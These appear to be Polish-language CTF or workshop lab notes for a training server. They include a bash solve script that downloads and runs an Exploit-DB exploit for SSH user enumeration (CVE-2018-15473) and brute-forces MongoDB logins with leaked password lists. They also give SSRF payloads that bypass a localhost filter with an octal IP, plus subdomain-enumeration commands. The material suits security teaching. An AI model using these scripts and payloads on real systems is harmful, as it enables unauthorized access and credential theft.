https://docs.google.com/presentation/d/1k86dnnCDCtQaS2aSy7m_J1XZAJmK1XNVv8M2kvGhOfw/edit#slide=id.p
- nmap
- masscan
- massdns
- mongo shell w wersji 4.x lub odpowiednik w formie biblioteki np. do pythona lub nodejs.
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/cirt-default-usernames.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/darkweb2017-top1000.txt
docker-compose build
docker-compose up open
docker-compose up mongo
docker-compose up instruction
Zadanie, włącznie z jego treścią, znajduje się na aghws.jctf.pl, gdzieś na portach 15000-20000.
Rekonesans:
sudo masscan -p 15000-20000 `dig +short aghws.jctf.pl`
nmap -p 16161,17171,18181 --sV aghws.jctf.pl
Solve:
#!/bin/bash
# wywołanie: ./solve.sh aghws.jctf.pl 17171 18181
HOST=$1
SSH_PORT=$2
MONGO_PORT=$3
# pobranie exploita do CVE-2018-15473 i wordlist
wget https://www.exploit-db.com/download/45233
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/cirt-default-usernames.txt
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/darkweb2017-top1000.txt
# fix python problems
pip2 install --user paramiko==2.0.8
#exploit na ssh - enumeracja użytkowników
python2 45233 --port $SSH_PORT --userList cirt-default-usernames.txt --outputFile out.txt $HOST 2> /dev/null
# weź plik wynikowy | zostaw tylko właściwych użytkowników | zostaw tylko same loginy | odwróć kolejność linii
cat out.txt | grep "is a valid" | awk '{print $1}' | tac > usernames.txt
# dla każdego loginu
while read -r username; do
echo $username
# próba zalogowania się do samego mongo
# parallel tutaj to taka prosta pętla while, działająca w kilku wątkach
# https://mailchi.mp/3f46ceb46357/improve-your-reconnaissance-performance-by-using-gnu-parallel
credentials=`parallel -j 10 "echo $username:{}; mongo $HOST:$MONGO_PORT/admin -u $username -p {}" :::: darkweb2017-top1000.txt 2> /dev/null | grep -B 3 session | head -n1`
# jeżeli login i hasło są poprawne, to w wyniku będzie słowo session, stąd grep
# -B pokaże nam też trzy linijki wyżej, a head -n1 zostawi tylko pierwszą, czyli nasze echo $username:{}
# gdzie {} to hasło
# jeżeli w wyniku komendy nie będzie słowa session, to nasza zmienna $credentials będzie pusta
if [ `echo $credentials | wc -c` -gt 1 ]; then
echo $credentials
echo mongo "mongodb://$credentials@$HOST:$MONGO_PORT/admin"
echo "show dbs"
echo "use flag"
echo "db.flag.find()"
break
fi
done < usernames.txt
# sprzątamy po sobie
rm 45233 cirt-default-usernames.txt out.txt darkweb2017-top1000.txt usernames.txt
- https://mailchi.mp/3f46ceb46357/improve-your-reconnaissance-performance-by-using-gnu-parallel
- https://www.rapid7.com/db/modules/auxiliary/scanner/ssh/ssh_enumusers
docker-compose up image-viewer
1.1 Flaga jest dostępna na serwerze działającym na porcie 8888 w tym samym środowisku, co aplikacja image viewer, ale port 8888 nie jest wystawiony na świat.
Przechwycić w burpie request i podmienić na
http://localhost:8888/
1.2 Flaga również jest na porcie 8888, ale tym razem są pewne zabezpieczenia, które mają uchronić przed możliwością wysyłania żądań na localhost. Fragment kodu źródłowego serwera:
let url_to_connect = req.body.url;
let hostname = '';
// only http and https protocols are allowed
if (url_to_connect.startsWith("https://")){
hostname = url_to_connect.substring(8);
}
else if (url_to_connect.startsWith("http://")){
hostname = url_to_connect.substring(7);
}
else{
return res.status(403).send("only http and https protocols are allowed");
}
// do not care about the path
if (hostname.indexOf('/') !== -1){
hostname = hostname.split('/')[0];
}
// do not allow tricks with @
if (hostname.indexOf("@") !== -1){
return res.status(403).send("@ is not allowed")
}
// do not allow IPv6
if (hostname.indexOf("::") !== -1){
return res.status(403).send("ipv6 is not allowed");
}
// last value after the : is the port
if (hostname.indexOf(":") !== -1){
hostname = hostname.split(":")[0];
if (hostname.indexOf(":") !== -1){
return res.status(403).send("ipv6 is not allowed");
}
}
// only allow domains from trusted websites
if (hostname.match(/[A-Za-z]/) !== null){
if (hostname !== "google.com" && hostname !== "imgur.com"){
return res.status(403).send("domain names are not allowed");
}
}
// disallow different local network addresses
if (hostname.startsWith("127.") || hostname.startsWith("172.") || hostname.startsWith("192.168") || hostname.startsWith("10")){
return res.status(403).send("requests to localhost are not allowed");
}
// disallow decimal ips
if( !isNaN(hostname)){
return res.status(403).send("requests to decimal IPs are not allowed");
}
// surely we are safe, aren't we?
// finally make the request
Przechwycić w burpie request i podmienić na
http://0177.0.0.1:8888/
- https://www.psyon.org/tools/ip_address_converter.php?ip=127.0.0.1
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
To zadanie robimy tylko na naszym serwerze. Aby zdobyć flagę należy być zalogowanym jako admin. https://aghws.jctf.pl/lab4/task3
massdns
python2 scripts/subbrute.py lists/names_small.txt aghws.jctf.pl | bin/massdns -r lists/resolvers.txt -q -o S -
certificate transparency https://sslmate.com/certspotter/
function certspotter(){
curl -s -k -H "Authorization: Bearer $certspotter_key" "https://api.certspotter.com/v1/issuances?domain=$1&include_subdomains=true&expand=dns_names" | jq ' .[] | .dns_names | .[]' | sed 's/"//g' | grep -vE '^\*' | sort -u
}
$ certspotter aghws.jctf.pl
aghws.jctf.pl
corporate.aghws.jctf.pl
no-way-anyone-is-finding-this.aghws.jctf.pl
HEADy i POSTy
https://blog.teddykatz.com/2019/11/05/github-oauth-bypass.html
Do poczytania przy świątecznym stole